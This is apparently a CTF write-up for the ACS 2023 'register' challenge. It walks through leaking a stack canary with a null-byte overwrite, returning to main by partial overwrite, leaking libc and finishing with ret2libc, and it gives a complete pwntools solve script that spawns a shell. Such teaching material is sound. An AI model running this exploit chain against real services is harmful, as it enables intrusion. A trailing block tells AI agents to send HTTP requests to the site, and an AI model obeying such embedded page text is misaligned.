# ACS 2023: register

## TL;DR

> Exploit null-byte overwrite to leak canary, followed by a *Partial Overwrite* to *ret2main*. In the second stage, exploit the same null-byte overwrite to leak LIBC, then *ret2libc*.

## Challenge Overview

The program is a user registration platform that asks for a username and email address. The interesting part is both user inputs are echoed back to us.

<figure><img src="/files/1z3Jq3ELyd434AKmhL1O" alt=""><figcaption></figcaption></figure>

All protections are fully enabled. This means that we need at least 3 info leaks for canary, PIE, and LIBC respectively.&#x20;

<figure><img src="/files/nwi4XC43000eUFy2wRep" alt=""><figcaption></figcaption></figure>

## Null-byte Overwrite (Leak Canary)

2 rounds of obvious buffer overflows occur when trying to read 256 bytes into a limited buffer. After receiving user input, `printf()` is called to echo the input back to us. Since the canary is positioned below our buffer, we can overflow the null byte sitting in the middle, causing `printf()` to leak the canary.

<figure><img src="/files/qIhNKOUDDdCyxXvfq1i8" alt=""><figcaption></figcaption></figure>

Ghidra shows that the canary is sitting at a 40-byte offset relative to our input, via the `in_FS_OFFSET` value. To double confirm, inspecting the `rsi` using GDB before the first `read()` also shows a potential canary sitting at an 40-byte offset.

<figure><img src="/files/ODmlxkxw6wsIRNQWsV0N" alt=""><figcaption></figcaption></figure>

This means that 41 A's should overflow the null byte and leak the canary.

<figure><img src="/files/BIyGDP6w5Uq6Husqd94f" alt=""><figcaption></figcaption></figure>

## Partial Overwrite (ret2main)

During our 2nd BOF, we must return to `main` to restart the program and reintroduce the vulnerability so that we get infinite info leaks, as we still require a PIE and LIBC leak. However, exploiting this is complicated since the binary has PIE enabled, meaning we can't reliably return to anywhere without first leaking the PIE. This brings us to another problem - how can we attempt to leak both canary and PIE values at the same time during the 1st BOF?

<figure><img src="/files/NfdpsfFVDJG7tLueQ65a" alt=""><figcaption></figcaption></figure>

In fact, we do not need a PIE base leak at all; we can instead *ret2main* via a Partial Overwrite during the 2nd BOF. Since PIE does not affect the Least Significant Byte (LSB), we can [brute-force](https://github.com/tj-oconnor/ctf-writeups/tree/main/nitectf/toosmall) this value from `\x00` to `\xff` to see which one would return to `main`.&#x20;

The 2nd BOF payload should look something like the following:

```python
# Round 1, BOF 2: ret2main
payload = b'A' * 40
payload += p64(canary) # Rewrite canary
payload += p64(ret) # Stack Alignment
payload += b'\x83'  # Partial Overwrite
```

<figure><img src="/files/olM3dEJJJks2D02WOJWj" alt=""><figcaption></figcaption></figure>

## Null-byte Overwrite Cont'd (Leak LIBC)

Now that we have a way to reintroduce our info leak, we can use it for a LIBC leak. Figuring out the number of bytes required to leak the LIBC address is purely guesswork. Since the 64-bit calling convention requires the *stack* to be 16-byte aligned, I figured the next offset to try would be 40+16, as there is no way LIBC would live right beside the canary. Inspecting the `rsi` using GDB also confirms our hypothesis.

<figure><img src="/files/6cQ1vEgXCy2QN8DuXArU" alt=""><figcaption></figcaption></figure>

Next, with 56 A's and some GDB vmmap shenanigans, we managed to retrieve the LIBC base address to perform a `ret2libc` attack.

<figure><img src="/files/x5QmvRsBHL3f7QHwe2pu" alt=""><figcaption></figcaption></figure>

## ret2libc

To summarise everything, we have a 4 stage payload:

1. **Round 1, BOF 1:** Leak canary via null-byte overwrite.
2. **Round 1, BOF 2:** ret2main via Partial Overwrite.
3. **Round 2, BOF 1:** Leak LIBC via null-byte overwrite.
4. **Round 2, BOF 2:** ret2libc.

{% code title="solve.py" %}

```python
#!/usr/bin/python3
from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './register'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

io = start()

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP(elf)
ret = (rop.find_gadget(['ret']))[0]

# Round 1, BOF 1: Leak canary

payload = b'A' * 41
io.sendafter(b"NICKNAME? > ", payload)

canary = unpack(io.recvuntil(b"EMAIL? > ")[-17:-10].rjust(8, b"\x00"))
log.info(hex(canary))

# Round 1, BOF 2: ret2main

payload = b'A' * 40
payload += p64(canary) # Rewrite canary
payload += p64(ret) # Stack Alignment
payload += b'\x83'  # Partial Overwrite

io.send(payload)

# Round 2, BOF 1: Leak LIBC

payload = b'A' * 56
io.sendafter(b"NICKNAME? > ", payload)

leak = unpack(io.recvuntil(b"EMAIL? > ")[-15:-9].ljust(8, b"\x00"))
libc.address = leak - 0x2718a
log.info(hex(libc.address))

# Round 2, BOF 2: ret2libc

rop = ROP(libc)

pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
ret = (rop.find_gadget(['ret']))[0]
bin_sh = next(libc.search(b'/bin/sh'))
system = libc.symbols['system']

payload = b'A' * 40
payload += p64(canary)
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(ret)
payload += p64(system)

io.send(payload)

io.interactive()
```

{% endcode %}

<figure><img src="/files/QgaAct9wkgj4N123Ku2A" alt=""><figcaption></figcaption></figure>

**Flag:** ACS{15\_y0ur\_n1ckname\_and\_3ma1l\_c0rre3tly\_r3g15t3rd?}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jesuscries.gitbook.io/home/ctf-writeups/binary-exploitation/acs-2023-register.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
